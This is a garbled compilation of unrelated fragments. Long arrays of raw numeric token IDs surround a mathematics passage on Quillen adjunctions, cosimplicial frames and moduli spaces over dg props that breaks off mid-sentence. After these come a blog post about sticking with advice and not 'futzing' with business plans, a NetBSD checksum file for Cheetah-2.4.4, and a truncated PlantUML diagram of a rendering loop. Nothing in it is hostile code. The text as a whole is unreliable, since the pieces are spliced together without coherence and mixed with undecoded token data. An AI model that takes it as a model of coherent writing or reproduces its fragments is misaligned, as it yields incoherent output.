78, 13, 79, 4010, 49, 9, 78, 13, 79, 1572, 5786, 329, 578, 3859, 3713, 3442, 1743, 14696, 94, 16489, 835, 370, 34, 578, 3859, 724, 12853, 26211, 457, 84, 27259, 273, 5313, 3020, 4872, 4948, 313, 2887, 1008, 52, 335, 2498, 2635, 370, 49, 1743, 3442, 1743, 14696, 4018, 310, 247, 45666, 6064, 273, 370, 49, 5, 275, 253, 7140, 273, 277, 72, 29060, 15, 187, 187, 7542, 1046, 277, 72, 4198, 310, 13244, 386, 13, 2556, 281, 1008, 41, 343, 1092, 667, 45666, 3665, 327, 247, 277, 72, 4198, 310, 3021, 247, 45666, 6064, 15, 844, 816, 452, 281, 5276, 326, 49960, 15207, 3442, 1743, 14696, 4018, 310, 247, 45666, 3665, 15, 187, 187, 1466, 441, 806, 921, 326, 370, 49, 1743, 3442, 1743, 14696, 4018, 310, 247, 45666, 1789, 275, 29060, 15, 844, 30787, 1016, 370, 49, 1743, 3442, 63, 76, 3303, 370, 76, 61, 249, 61, 1991, 92, 47, 3303, 342, 253, 1563, 9118, 5889, 3580, 1764, 2043, 92, 2132, 94, 187, 61, 5574, 64, 87, 768, 49, 1743, 3442, 63, 76, 599, 27, 49, 1743, 3442, 63, 76, 1603, 77, 13, 79, 1572, 5786, 367, 1743, 3442, 63, 76, 1603, 78, 13, 77, 10, 708, 393, 14829, 708, 367, 9, 77, 13, 79, 1572, 5786, 367, 9, 78, 13, 77, 1572, 5786, 329, 578, 3859, 3713, 3442, 63, 76, 10, 187, 61, 5786, 329, 578, 3859, 3713, 3442, 63, 76, 10, 3202, 187, 708, 393, 23386, 464, 5574, 64, 87, 63, 49, 61, 5786, 61, 1906, 64, 76, 2704, 4287, 94, 708, 367, 9, 78, 13, 79, 1572, 5786, 329, 578, 3859, 3713, 3442, 63, 76, 4010, 49, 1743, 3442, 63, 76, 1603, 78, 13, 79, 1572, 423, 92, 2132, 2138, 835, 669, 5574, 64, 87, 63, 49, 5, 310, 253, 9118, 5889, 1885, 273, 370, 49, 5, 285, 669, 1906, 64, 76, 5, 253, 1885, 273, 253, 277, 72, 33796, 8697, 370, 34, 578, 3859, 3713, 3442, 63, 76, 4244, 285, 253, 1563, 11593, 5889, 3580, 1764, 2043, 92, 2132, 94, 187, 61, 5574, 64, 73, 768, 49, 1743, 3442, 63, 76, 599, 27, 49, 1743, 3442, 63, 76, 1603, 78, 64, 18, 13, 79, 64, 18, 1572, 5786, 367, 1743, 3442, 63, 76, 1603, 78, 64, 19, 13, 79, 64, 19, 10, 708, 393, 14829, 708, 367, 9, 78, 64, 18, 13, 79, 64, 18, 1572, 5786, 367, 9, 78, 64, 19, 13, 79, 64, 19, 1572, 5786, 329, 578, 3859, 3713, 3442, 63, 76, 10, 187, 61, 5786, 329, 578, 3859, 3713, 3442, 63, 76, 10, 3202, 187, 708, 393, 23386, 464, 5574, 64, 73, 63, 49, 61, 5786, 61, 1906, 64, 76, 2704, 4287, 94, 708, 367, 9, 78, 64, 18, 12, 78, 64, 19, 13, 79, 64, 18, 12, 79, 64, 19, 1572, 5786, 329, 578, 3859, 3713, 3442, 63, 76, 4010, 49, 1743, 3442, 63, 76, 1603, 78, 13, 79, 1572, 423, 92, 2132, 2138, 835, 669, 5574, 64, 73, 63, 49, 5, 310, 253, 11593, 5889, 1885, 273, 370, 49, 1352, 380, 1709, 18473, 273, 841, 3580, 3637, 432, 253, 1709, 18473, 273, 669, 5574, 64, 87, 63, 49, 1366, 669, 5574, 64, 73, 63, 49, 5, 285, 669, 1906, 64, 76, 1352, 380, 987, 285, 1669, 5231, 273, 13123, 2390, 327, 370, 49, 1743, 3442, 63, 76, 1603, 78, 13, 79, 1009, 403, 5802, 407, 1110, 327, 370, 49, 9, 78, 13, 79, 3822, 380, 22862, 875, 841, 5231, 285, 253, 5889, 3580, 3249, 3587, 432, 436, 22862, 275, 253, 4198, 2605, 273, 370, 49, 1366, 1580, 253, 1885, 669, 1906, 64, 76, 5, 310, 33796, 15, 380, 28961, 1569, 273, 29060, 310, 9090, 1335, 10048, 15, 380, 5085, 669, 1991, 92, 44, 889, 4287, 367, 9, 79, 13, 79, 1009, 403, 2931, 407, 1764, 1991, 92, 44, 889, 14829, 61, 1991, 92, 44, 889, 5786, 61, 1991, 92, 44, 889, 23386, 464, 1464, 64, 49, 61, 5786, 61, 1464, 64, 76, 2704, 4287, 94, 367, 9, 78, 13, 79, 1572, 5786, 329, 578, 3859, 3713, 3442, 63, 76, 11189, 835, 669, 1464, 64, 49, 5, 310, 253, 3943, 273, 370, 49, 5, 285, 669, 1464, 64, 76, 5, 253, 3943, 273, 370, 34, 578, 3859, 3713, 3442, 63, 76, 3822, 380, 9365, 285, 25273, 19103, 403, 5802, 407, 1110, 273, 669, 3442, 63, 76, 5, 3066, 253, 27259, 451, 414, 273, 370, 34, 578, 3859, 3303, 285, 830, 29060, 45278, 407, 5426, 273, 253, 4198, 2605, 327, 253, 370, 49, 1743, 3442, 63, 76, 724, 313, 2845, 455, 326, 370, 34, 578, 3859, 724, 8115, 45666, 4893, 281, 45278, 273, 33796, 277, 72, 21360, 13, 534, 36437, 342, 3580, 481, 187, 187, 4125, 359, 452, 281, 2451, 253 ]	))$$ where $X$ is a cofibrant object of $\mathcal{C}$ and $Y$ a fibrant object of $\mathcal{D}$. We will use the definition of mapping spaces via cosimplicial frames. The proof works as well with simplicial frames. The adjunction $(F,G)$ induces an adjunction at the level of diagram categories $$F:\mathcal{C}^{\Delta}\rightleftarrows\mathcal{D}^{\Delta}:G.$$ Now let $\phi:A^{\bullet}\rightarrowtail B^{\bullet}$ be a Reedy cofibration between Reedy cofibrant objects of $\mathcal{C}^{\Delta}$. This is equivalent, by definition, to say that for every integer $r$ the map $$(\lambda,\phi)_r:L^rB\coprod_{L^rA}A^r\rightarrowtail B^r$$ induced by $\phi$ and the latching object construction $L^{\bullet}A$ is a cofibration in $\mathcal{C}$. Let us consider the pushout $$\xymatrix{ L^rA\ar[r]\ar[d]_{L^r\phi} & A^r\ar[d] \\ L^rB\ar[r] & L^rB\coprod_{L^rA}A^r }.$$ The fact that $\phi$ is a Reedy cofibration implies that for every $r$, the map $L^r\phi$ is a cofibration. Since cofibrations are stable under pushouts, the map $A^r\rightarrow L^rB\coprod_{L^rA}A^r$ is also a cofibration. By assumption, the cosimplicial object $A^{\bullet}$ is Reedy cofibrant, so it is in particular pointwise cofibrant. We deduce that $L^rB\coprod_{L^rA}A^r$ is cofibrant. Similarly, each $B^r$ is cofibrant since $B^{\bullet}$ is Reedy cofibrant. The map $(\lambda,\phi)_r$ is a cofibration between cofibrant objects and $F$ is a left Quillen functor, so $F((\lambda,\phi)_r)$ is a cofibration of $\mathcal{D}$ between cofibrant objects. Recall that the $r^{th}$ latching object construction is defined by a colimit. As a left adjoint, the functor $F$ commutes with colimits so we get a cofibration $$L^rF(B^{\bullet})\coprod_{L^rF(A^{\bullet})}F(A^r)\rightarrowtail F(B^r).$$ This means that $F(\phi)$ is a Reedy cofibration in $\mathcal{D}^{\Delta}$. Now, given that Reedy weak equivalences are the pointwise equivalences, if $\phi$ is a Reedy weak equivalence between Reedy cofibrant objects then it is in particular a pointwise weak equivalence between pointwise cofibrant objects, hence $F(\phi)$ is a Reedy weak equivalence in $\mathcal{D}^{\Delta}$. We conclude that $F$ induces a left Quillen functor between cosimplicial objects for the Reedy model structures. In particular, it sends any cosimplicial frame of a cofibrant object $X$ of $\mathcal{C}$ to a cosimplicial frame of $F(X)$. The isomorphism above holds if the cosimplicial frame for the left-hand mapping space is chosen to be the image under $F$ of the cosimplicial frame of the right-hand mapping space. But recall that cosimplicial frames on a given object are all weakly equivalent, so that for any choice of cosimplicial frame we get at least weakly equivalent mapping spaces. Moduli spaces of algebra structures over a prop ----------------------------------------------- A moduli space of algebra structures over a prop $P$, on a given complex $X$, is a simplicial set whose points are the prop morphisms $P\rightarrow End_X$. Such a moduli space can be more generally defined on diagrams of cochain complexes. Let $P$ a cofibrant prop and $X$ be a cochain complex. The moduli space of $P$-algebra structures on $X$ is the simplicial set alternatively defined by $$P\{X\}=Mor_{\mathcal{P}}(P\otimes\Delta^{\bullet},End_X)$$ where $P\otimes\Delta^{\bullet}$ is a cosimplicial resolution of $P$, or $$P\{X\}=Mor_{\mathcal{P}}(P,End_X^{\Delta^{\bullet}}).$$ where $End_X^{\Delta^{\bullet}}$ is a simplicial resolution of $End_X$. Since every cochain complex over a field is fibrant and cofibrant, every dg prop is fibrant: the fact that $P$ is cofibrant and $End_X$ is fibrant implies that these two formulae give the same moduli space up to homotopy. We can already get two interesting properties of these moduli spaces: \(1) The simplicial set $P\{X\}$ is a Kan complex and its connected components give the equivalences classes of $P$-algebra structures on $X$, i.e $$\pi_0P\{X\}\cong [P,End_X]_{Ho(\mathcal{P})}.$$ \(2) Every weak equivalence of cofibrant props $P\stackrel{\sim}{\rightarrow}Q$ gives rise to a weak equivalence of fibrant simplicial sets $Q\{X\}\stackrel{\sim}{\rightarrow}P\{X\}$. These properties directly follows from the properties of simplicial mapping spaces in model categories [@Hir]. The higher simplices of these moduli spaces encode higher simplicial homotopies between homotopies. For dg props we can actually get explicit simplicial resolutions: Let $P$ be a prop in $Ch_{\mathbb{K}}$. Let us define $P^{\Delta^{\bullet}}$ by $$P^{\Delta^{\bullet}}(m,n)=P(m,n)\otimes A_{PL}(\Delta^{\bullet}),$$ where $A_{PL}$ denotes Sullivan’s functor of piecewise linear forms (see [@Sul]). Then $P^{\Delta^{\bullet}}$ is a simplicial resolution of $P$ in the category of dg props. Since every dg prop is fibrant, according to [@Hir], any simplicial frame on a dg prop is thus a simplicial resolution. We just have to prove that $(-)^{\Delta^{\bullet}}$ is a simplicial frame. Let us first show that $P^{\Delta^{\bullet}}$ is a simplicial object in props. We equip each $P^{\Delta^k}$, $k\in\mathbb{N}$, with the following vertical composition products $$\begin{aligned} \circ_v^{P^{\Delta^k}}:P^{\Delta^k}(l,n)\otimes P^{\Delta^k}(m,l) & \cong & P(l,n)\otimes P(m,l)\otimes A_{PL}(\Delta^k) \otimes A_{PL}(\Delta^k) \\ & \stackrel{\circ_v^P\otimes\mu_k}{\rightarrow} & P(m,n)\otimes A_{PL}(\Delta^k)=P^{\Delta^k}(m,n)\end{aligned}$$ where $\circ_v^P$ is the vertical composition product of $P$ and $\mu_k$ the product of the dg commutative algebra $A_{PL}(\Delta^k)$, and the following horizontal composition products $$\begin{aligned} \circ_h^{P^{\Delta^k}}:P^{\Delta^k}(m_1,n_1)\otimes P^{\Delta^k}(m_2,n_2) & \cong & P(m_1,n_1)\otimes P(m_2,n_2)\otimes A_{PL}(\Delta^k) \otimes A_{PL}(\Delta^k) \\ & \stackrel{\circ_h^P\otimes\mu_k}{\rightarrow} & P(m_1+m_2,n_1+n_2)\otimes A_{PL}(\Delta^k)=P^{\Delta^k}(m,n)\end{aligned}$$ where $\circ_h^P$ is the horizontal composition product of $P$. The associativity of these products follows from the associativity of $\circ_v^P$, $\circ_h^P$ and $\mu_k$. The right and left actions of symmetric groups on $P^{\Delta^k}(m,n)$ are induced by those on $P(m,n)$. The compatibility between these actions and the composition products comes directly from this compatibility in the prop structure of $P$, since the product $\mu_k$ is commutative. The interchange law of props is obviously still satisfied. The units $\mathbb{K}\rightarrow P(n,n)$ are defined by $$\mathbb{K}\cong\mathbb{K}\otimes\mathbb{K}\stackrel{\eta_P\otimes\eta_k}{\rightarrow} P(m,n)\otimes A_{PL}(\Delta^k)$$ where $\eta_P$ is the unit of $P$ and $\eta_k$ the unit of $A_{PL}(\Delta^k)$. The faces and degeneracies are induced by those of $\Delta^k$ via the functoriality of $A_{PL}$, and form props morphisms by definition of the prop structure on the $P^{\Delta^k}$ (recall that $A_{PL}$ maps simplicial applications to morphisms of commutative dg algebras, which commute with products). Now we have to check the
[ 8445, 7535, 984, 634, 1039, 3198, 7756, 15, 1893, 2139, 403, 368, 42922, 562, 9886, 285, 7437, 273, 616, 7535, 594, 326, 253, 2250, 2098, 4453, 625, 751, 752, 368, 1849, 2168, 644, 2509, 32, 187, 187, 40722, 2596, 27, 1422, 1472, 954, 9848, 342, 752, 368, 1849, 2218, 275, 253, 2469, 15, 11793, 15, 1292, 326, 1694, 368, 1060, 285, 368, 971, 281, 2118, 327, 15, 38733, 625, 273, 253, 1072, 310, 1469, 281, 755, 368, 625, 273, 253, 1072, 15, 187, 187, 40722, 9064, 27, 733, 4815, 1512, 1199, 2583, 15, 34156, 253, 987, 1618, 4815, 2583, 15, 38733, 247, 30959, 273, 495, 14, 21, 7223, 285, 24385, 352, 495, 14, 21, 2069, 4815, 2583, 15, 733, 476, 4815, 247, 4564, 8014, 8918, 15, 1737, 604, 368, 1053, 626, 755, 667, 2380, 32, 187, 187, 1785, 1319, 2451, 27, 496, 1340, 281, 5321, 2583, 285, 1132, 352, 4999, 13, 368, 403, 1077, 33400, 281, 564, 11142, 327, 253, 1618, 13, 513, 247, 337, 14, 19, 3239, 4857, 13, 285, 760, 10280, 352, 2378, 15, 1737, 452, 368, 2218, 32, 1422, 1849, 40569, 281, 253, 3430, 952, 342, 247, 259, 366, 433, 1066, 3935, 13, 285, 368, 6468, 626, 28809, 352, 15, 187, 187, 1989, 387, 1878, 368, 755, 281, 13387, 634, 47267, 2, 2732, 512, 13, 346, 14094, 3, 2086, 1904, 626, 789, 15, 187, 187, 27180, 13, 4565, 16261, 13, 5215, 187, 187, 3220, 11761, 256, 20354, 3101, 908, 281, 897, 253, 3159, 346, 71, 25374, 3, 247, 2257, 15, 3856, 403, 247, 1643, 4648, 323, 253, 3159, 27, 187, 187, 14, 1165, 2338, 14484, 8537, 1475, 8634, 5037, 626, 14484, 91, 342, 326, 15, 187, 187, 1992, 14484, 91, 310, 281, 1132, 342, 1633, 390, 1129, 34630, 342, 352, 672, 368, 943, 320, 6108, 352, 3815, 15, 1198, 1650, 13, 672, 368, 1472, 2403, 1633, 13, 627, 3249, 247, 673, 672, 368, 28400, 352, 275, 1659, 285, 840, 368, 452, 281, 816, 1790, 285, 3343, 15, 187, 187, 2042, 368, 14484, 91, 342, 352, 13, 323, 1650, 407, 4886, 247, 629, 281, 923, 604, 253, 28400, 310, 6079, 13, 368, 1472, 2779, 281, 4796, 253, 3290, 273, 253, 2457, 1885, 15, 733, 434, 417, 326, 368, 588, 23737, 253, 11072, 13, 533, 5046, 326, 581, 5313, 588, 816, 1620, 564, 896, 281, 4555, 835, 352, 369, 6326, 281, 320, 15, 187, 187, 8195, 1650, 310, 672, 368, 4444, 12922, 15, 1422, 3343, 285, 3343, 13, 533, 642, 4444, 4620, 15, 2091, 581, 1388, 627, 434, 247, 1652, 9370, 275, 253, 8825, 13, 368, 971, 281, 11291, 352, 562, 281, 1361, 253, 4444, 2740, 949, 15, 2064, 434, 14484, 8537, 15, 380, 4444, 588, 320, 816, 4030, 1293, 634, 14484, 8537, 15, 187, 187, 1231, 14484, 91, 984, 359, 1472, 15211, 281, 923, 253, 18098, 273, 776, 5299, 15, 844, 1849, 1691, 1633, 2366, 285, 359, 971, 281, 923, 604, 352, 2987, 253, 1039, 352, 434, 6326, 281, 15, 187, 187, 17534, 2223, 13, 359, 14484, 91, 1512, 1199, 342, 776, 9341, 15, 844, 1691, 247, 747, 1232, 275, 1659, 1969, 5046, 388, 5781, 52, 390, 7303, 3238, 15, 2064, 434, 247, 1943, 13, 2201, 1818, 15, 187, 187, 10758, 368, 1056, 247, 1818, 751, 326, 13, 352, 310, 1077, 39189, 281, 14484, 91, 342, 352, 15, 187, 187, 688, 643, 3000, 13, 368, 1053, 626, 1918, 253, 747, 2086, 247, 4839, 1078, 368, 1265, 2403, 1652, 2544, 1060, 285, 627, 15, 1422, 1089, 4834, 11485, 12669, 598, 327, 352, 15, 50000, 247, 1652, 1060, 13, 4882, 247, 1652, 627, 15, 187, 187, 15021, 14484, 8537, 15, 187, 187, 2042, 368, 1849, 1869, 949, 634, 2098, 13, 368, 452, 247, 1175, 2098, 13, 285, 352, 434, 512, 275, 1659, 13, 840, 3553, 352, 3815, 323, 36521, 15, 1281, 253, 2098, 789, 15, 11668, 7211, 13, 4822, 731, 13, 285, 513, 690, 38549, 846, 247, 2180, 273, 673, 15, 187, 187, 688, 253, 22849, 13, 1691, 512, 326, 18349, 285, 11219, 2341, 715, 253, 1735, 2199, 15, 187, 187, 49465, 9491, 327, 10550, 187, 187, 24757, 16103, 323, 3083, 2961, 9491, 187, 187, 1552, 1740, 14, 21970, 873, 310, 253, 25038, 7102, 281, 3083, 2961, 9491, 15, 4325, 253, 2914, 3906, 281, 253, 13817, 7811, 13, 359, 3835, 352, 512, 15, 6000, 4382, 24773, 13, 1046, 7303, 2579, 11716, 13, 1046, 7681, 25021, 2567, 428, 1046, 5547, 2136, 428, 3198, 322, 2795, 84, 2, 187, 187, 3039, 368, 3389, 634, 4870, 285, 7259, 13, 368, 2216, 247, 1039, 323, 634, 2567, 281, 452, 10280, 494, 2323, 15, 1244, 347, 368, 4030, 14, 85, 2517, 1110, 4870, 285, 7259, 13, 368, 2489, 625, 5547, 13, 625, 5919, 13, 285, 625, 27834, 15, 380, 1039, 368, 513, 3253, 310, 634, 7138, 15, 187, 187, 2347, 281, 6304, 2373, 22764, 1020, 13, 21001, 7116, 39607, 327, 6865, 342, 5402, 15023, 10518, 37399, 592, 187, 187, 25074, 10518, 2199, 4323, 310, 3365, 417, 347, 9542, 347, 2199, 4323, 275, 253, 16100, 15, 1292, 1355, 2136, 6493, 452, 253, 1072, 7881, 347, 16100, 6493, 27, 1583, 878, 281, 5115, 616, 7342, 8069, 13, 327, 673, 13, 285, 1561, 7563, 15, 187, 187, 3726, 671, 2454, 253, 1072, 3625, 5691, 1108, 14596, 3304, 253, 7990, 273, 253, 2199, 2, 187, 187, 1552, 1270, 1652, 1984, 3400, 247, 2969, 1232, 2199, 7219, 285, 4323, 1232, 326, 310, 3477, 281, 3037, 285, 3477, 281, 9798, 281, 634, 6171, 13, 7715, 40560, 13, 285, 749, 14, 20987, 641, 15, 1422, 457, 620, 3037, 281, 3540, 667, 2199, 13, 5513, 512, 253, 8661, 281, 8548, 285, 6171, 13, 285, 12654, 326, 3253, 310, 6312, 327, 673, 285, 762, 7563, 15, 187, 187, 510, 4477, 921, 368, 247, 1270, 5853, 323, 2403, 2119, 326, 7990, 25461, 310, 247, 2181, 273, 253, 2469, 2, 10338, 1046, 2199, 247, 5547, 285, 27834, 2199, 2, 187, 187, 5518, 36, 5201, 14019, 21978, 187, 187, 42, 1056, 1046, 3177, 281, 20509, 1375, 752, 309, 2868, 285, 4264, 253, 7185, 273, 16920, 5913, 309, 1928, 751, 327, 436, 5311, 15, 831, 310, 247, 1943, 9542, 1533, 285, 309, 452, 1142, 36282, 3367, 285, 5702, 7688, 15, 187, 187, 42, 778, 275, 690, 1039, 4763, 2583, 390, 643, 5373, 432, 667, 273, 253, 3580, 13, 3238, 13, 390, 4413, 5393, 275, 436, 5311, 347, 247, 1480, 390, 11686, 906, 273, 619, 5231, 327, 285, 745, 436, 5311, 15, 6101, 2793, 5393, 1060, 310, 816, 619, 2793, 285, 309, 452, 642, 3640, 670, 1880, 352, 6125, 247, 6867, 2793, 342, 667, 3580, 13, 3238, 13, 390, 4413, 5393, 15, 187, 187, 43835, 352, 310, 1896, 281, 452, 1097, 271, 8274, 285, 247, 24363, 7914, 273, 619, 7234, 13, 4496, 5467, 33773, 15, 9375, 15, 428, 465, 7694, 81, 5, 8695, 33725, 27, 940, 5374, 13, 87, 337, 15, 24, 4104, 16, 883, 16, 2941, 17272, 27, 1717, 27, 1762, 639, 68, 17702, 370, 187, 187, 23855, 18, 313, 6892, 292, 1240, 14, 19, 15, 21, 15, 21, 15, 17447, 15, 20449, 10, 426, 260, 22981, 71, 22, 69, 25, 12847, 4148, 67, 1867, 2537, 3121, 1438, 71, 23, 1257, 26, 67, 24, 14836, 44527, 71, 30651, 70, 2511, 187, 51, 7414, 9913, 313, 6892, 292, 1240, 14, 19, 15, 21, 15, 21, 15, 17447, 15, 20449, 10, 426, 247, 70, 42420, 70, 17, 36814, 15148, 1540, 71, 2941, 5470, 453, 17015, 69, 2960, 20, 453, 68, 26, 71, 1549, 23525, 187, 23855, 19233, 313, 6892, 292, 1240, 14, 19, 15, 21, 15, 21, 15, 17447, 15, 20449, 10, 426, 1903, 67, 25, 68, 3342, 24, 69, 46043, 2511, 69, 23, 3348, 25, 1671, 4196, 67, 14380, 1678, 1257, 17, 3342, 18, 550, 71, 19, 67, 6357, 21, 68, 44159, 3763, 70, 24, 2428, 18, 69, 26, 4482, 1976, 6855, 26, 69, 20, 17391, 68, 39060, 69, 24, 69, 2357, 264, 2320, 5470, 2941, 9194, 32960, 7836, 18, 66, 1731, 68, 40363, 2251, 15662, 567, 67, 3953, 71, 1630, 3342, 21, 28744, 67, 17, 71, 26, 20210, 68, 187, 5496, 313, 6892, 292, 1240, 14, 19, 15, 21, 15, 21, 15, 17447, 15, 20449, 10, 426, 38624, 2511, 11061, 187, 33, 5478, 360, 77, 187, 21179, 3174, 3364, 187, 187, 12332, 5204, 26718, 27, 8600, 4041, 9270, 187, 36915, 26718, 187, 16560, 5204, 416, 3109, 7761, 27, 795, 11183, 3074, 26912, 12168, 84, 187, 36915, 416, 3109, 7761, 187, 26912, 7761, 5204, 416, 3109, 12168, 27, 5731, 187, 36915, 416, 3109, 12168, 187, 8, 26912, 12168, 5204, 416, 3109, 12168, 27, 795, 11183, 22156, 30760, 3145, 4124, 187, 26912, 12168, 5204, 9182, 631, 27, 5731, 187, 36915, 9182, 631, 187, 3145, 631, 5204, 31475, 27, 795, 12574, 34925, 187, 36915, 31475, 187, 31962, 5204, 45258, 8224, 27, 795, 12574, 34925, 187, 36915, 45258, 8224, 187, 34925, 8224, 5204, 45258, 8224, 27, 795, 12574, 26998, 28747, 187, 34925, 8224, 5204, 45258, 8224, 27, 795, 12574, 19878, 6998, 28747, 187, 14075, 187, 34925, 8224, 5204, 45258, 8224, 27, 795, 15697, 26912, 12535, 187, 34925, 8224, 5204, 416, 3109, 494, 27, 755, 26912, 17547, 187, 36915, 416, 3109, 494, 187, 26912, 494, 6781, 45258, 8224, 27, 416, 3109, 17547, 187, 615, 36915, 416, 3109, 494, 187, 34925, 8224, 5204, 416, 3109, 7761, 27, 795, 12574, 187, 36915, 416, 3109, 7761, 187, 26912, 7761, 6781, 45258, 8224, 187, 615, 36915, 416, 3109, 7761, 187, 423, 187, 34925, 8224, 6781, 31475, 187, 615, 36915, 45258, 8224, 187, 31962, 6781, 9182, 631, 187, 615, 36915, 31475, 187, 3145, 631, 6781, 416, 3109, 12168, 187, 615, 36915, 9182, 631, 187, 26912, 12168, 6781, 416, 3109, 7761, 187, 615, 36915, 416, 3109, 12168, 187, 26912, 7761, 6781, 26718, 187, 615, 36915, 416, 3109, 7761, 187, 16560, 6781, 11683, 187, 615, 36915, 26718, 187, 33, 423, 360, 77, 187, 1992, 2020, 598, 436, 4804, 27, 13491, 15, 733, 369, 13491, 281, 320, 275, 253, 3361, 273, 271, 19149, 19018, 13, 9940, 281, 253, 2847, 665, 556, 417, 4211, 521, 7765, 281, 253, 2144, 382, 22144, 15, 17549, 5781, 310, 247, 11115, 665, 556, 9940, 521, 1495, 281, 11132, 253, 13389, 7829, 327, 8213, 273, 2659, 2802, 1844, 10293, 457, 285, 253, 2488, 273, 773, 16281, 383, 34923, 8178, 661, 27, 21812, 327, 247, 10049, 3647, 8565, 9875, 6598, 17549, 5781, 310, 247, 288, 24736, 285, 1048, 673, 12833, 505, 273, 253, 19018, 2802, 48417, 3227, 16236, 29437, 13, 4388, 1417, 16771, 1475, 253, 2586, 1930, 15, 2053, 2802, 48417, 7110, 457, 476, 1390, 3038, 390, 2607, 13, 285, 21533, 253, 34057, 273, 253, 19018, 637, 15, 309, 574, 11697, 1620, 3735, 273, 436, 4062, 1919, 4361, 521, 1984, 13, 533, 597, 2186, 1270, 4549, 323, 479, 15, 380, 1055, 273, 731, 1146, 752, 344, 33690, 247, 2802, 34266, 1959, 1029, 457, 323, 597, 10808, 247, 3282, 273, 2802, 1059, 1076, 564, 457, 275, 253, 2802, 48417, 3227, 266, 15385, 831, 3282, 273, 13872, 564, 369, 752, 344, 11205, 323, 275, 521, 1984, 13, 281, 10808, 247, 17541, 34886, 3227, 275, 253, 9414, 13, 534, 275, 619, 4743, 344, 17288, 27839, 15, 49920, 247, 7989, 273, 253, 21833, 34886, 3227, 13, 309, 717, 247, 6722, 1388, 44266, 254, 13, 309, 1663, 4802, 342, 521, 1984, 13, 285, 19155, 352, 253, 1682, 1984, 3542, 407, 247, 19018, 13, 326, 309, 452, 1239, 326, 310, 15, 187, 187, 998, 2370, 273, 253, 5389, 19018, 13016, 490, 517, 347, 513, 253, 6281, 273, 521, 1211, 2021, 13, 46952, 34886, 5582, 2458, 313, 2577, 1307, 582, 253, 23816, 1663, 1056, 253, 1659, 1705, 9338, 13, 285, 13279, 247, 747, 3497, 4830, 638, 14, 20774, 318, 19018, 1495, 15, 754, 1057, 417, 4656, 2994, 281, 27471, 285, 19365, 14, 85, 2339, 2167, 13, 521, 16771, 13905, 2067, 8007, 285, 7613, 253, 9414, 25767, 253, 9086, 2827, 4442, 2454, 273, 29313, 275, 253, 17628, 273, 247, 954, 23180, 13, 43837, 285, 48635, 17238, 15, 187, 187, 688, 253, 2469, 344, 651, 3213, 562, 273, 521, 2914, 3369, 285, 564, 323, 247, 34702, 13, 6429, 18628, 285, 5211, 15, 3954, 352, 310, 7520, 281, 1089, 247, 1854, 875, 253, 1114, 36842, 27885, 326, 8689, 1947, 598, 275, 29313, 1501, 14, 48, 37953, 13, 285, 310, 2802, 43408, 457, 281, 25021, 8115, 275, 1340, 281, 3693, 11449, 569, 342, 2223, 12338, 34684, 15, 754, 23679, 2224, 253, 2957, 273, 436, 2469, 553, 13, 285 ]	seeking advice because your way needs improvement. So why are you stripping out bits and pieces of their advice so that the action plan looks more like what you've already been doing? Reason One: You're most comfortable with what you've done in the past. True. But that got you here and you want to move on. Doing more of the same is going to get you more of the same. Reason Three: It costs too much money. Finding the right list costs money. Doing a mailing of 3-4 pages and repeating it 3-4 times costs money. It can costs a couple thousand dollars. What if you don't get any response? Reality check: In order to save money and play it safe, you are very tempted to go cheap on the list, do a 1-2 page letter, and only repeat it once. What have you done? You've mailed to the wrong people with a watered down message, and you haven't reinforced it. But at least you get to blame your advisors! After all, "their" program didn't work. Sunday, December 02, 2007 My dear sainted mother used to use the word "futz" a lot. Here are a few uses for the word: - Quit futzing around.- Don't futz with that. To futz is to play with something or meddle with it when you should be leaving it alone. For example, when you're making something, there comes a time when you glue it in place and then you have to just sit and wait. If you futz with it, for example by moving a part to see if the glue is dry, you're likely to reduce the quality of the final product. It's not that you will ruin the craft, but maybe that one piece will just never go back to exactly where it was supposed to be. Another example is when you plant seeds. You wait and wait, but no plant appears. When one day there's a little crack in the soil, you want to chip it out to help the plant break through. That's futzing. The plant will be just fine without your futzing. We futz because we're eager to see the fruits of our labor. We've put something together and we want to see if it works the way it's supposed to. Very often, we futz too much with our businesses. We put a new process in place -- maybe HaaS or managed services. That's a big, major change. Once you make a change like that, it is very tempting to futz with it. In other words, you don't give the new program a chance before you start making little changes here and there. You find yourself constantly checking up on it. Playing a little here, playing a little there. Stop futzing. If you've thought through your plan, you have a good plan, and it's all in place, then leave it alone for awhile. Let the plan work. Take notes, collect them, and do some revisions after a period of time. In the meantime, put all that excitement and nervous energy into the next project. Managed Services on Amazon Hot Books for Managed Services This four-volume set is the definitive guide to Managed Services. From the front office to the tech department, we cover it all. Every computer consultant, every managed service provider, every technical consulting company - every successful business - needs SOPs! When you document your processes and procedures, you design a way for your company to have repeatable success. And as you fine-tune those processes and procedures, you become more successful, more efficient, and more profitable. The way you do everything is your brand. How to Deliver Successful, Profitable Projects on Time with Your Small Business Clients Small Business project management is simply not as complicated as project management in the enterprise. But small business projects have the same challenges as enterprise projects: They need to achieve their goals effectively, on time, and within budget. They also face the same primary challenge – staying inside the scope of the project! This great little book provides a simple process project planning and management process that is easy to learn and easy to teach to your employees, fellow technicians, and sub-contractors. You’ll learn to track any project, explain all the stages to clients and employees, and verify that everything is completed on time and under budget. The authors show you a great technique for making sure that scope creep is a thing of the past! Make every project a successful and profitable project! FTC Disclosure Statement I make every attempt to honestly state what I believe and enjoy the freedom of posting whatever I feel like on this blog. This is a big complicated world and I have many interconnected personal and professional relationships. I may in some way receive money or other benefits from any of the products, services, or companies mentioned in this blog as a direct or indirect result of my actions on and off this blog. Any experience mentioned here is just my experience and I have no knowledge about whether it represents a typical experience with any products, services, or companies mentioned. Whenever it is possible to have both an honest and a misleading interpretation of my statements, please assume honesty. Thanks. - karlp$NetBSD: distinfo,v 1.7 2015/11/03 03:29:05 agc Exp $ SHA1 (Cheetah-2.4.4.tar.gz) = c218f5d8bc97b39497680f6be9b7bd093f696e89 RMD160 (Cheetah-2.4.4.tar.gz) = ae516e090313864f03dbfe131dada3fec9f60243 SHA512 (Cheetah-2.4.4.tar.gz) = 11b8cbf7d71789d6ae83596b133ddbe0bf1ccf2bca4c59562e7cd1d9bb75fa9d3208c0021d7d77edafdb03fd399cf1a26c003267fbffb94f27bf4457b0f9234c Size (Cheetah-2.4.4.tar.gz) = 190989 bytes @startuml hide footbox Application -> Root: renderOneFrame activate Root Root -> RenderSystem: _updateAllRenderTargets activate RenderSystem RenderSystem -> RenderTarget: update activate RenderTarget 'RenderTarget -> RenderTarget: _updateAutoUpdatedViewports RenderTarget -> Viewport: update activate Viewport Viewport -> Camera: _renderScene activate Camera Camera -> SceneManager: _renderScene activate SceneManager SceneManager -> SceneManager: _renderVisibleObjects SceneManager -> SceneManager: _renderQueueGroupObjects loop SceneManager 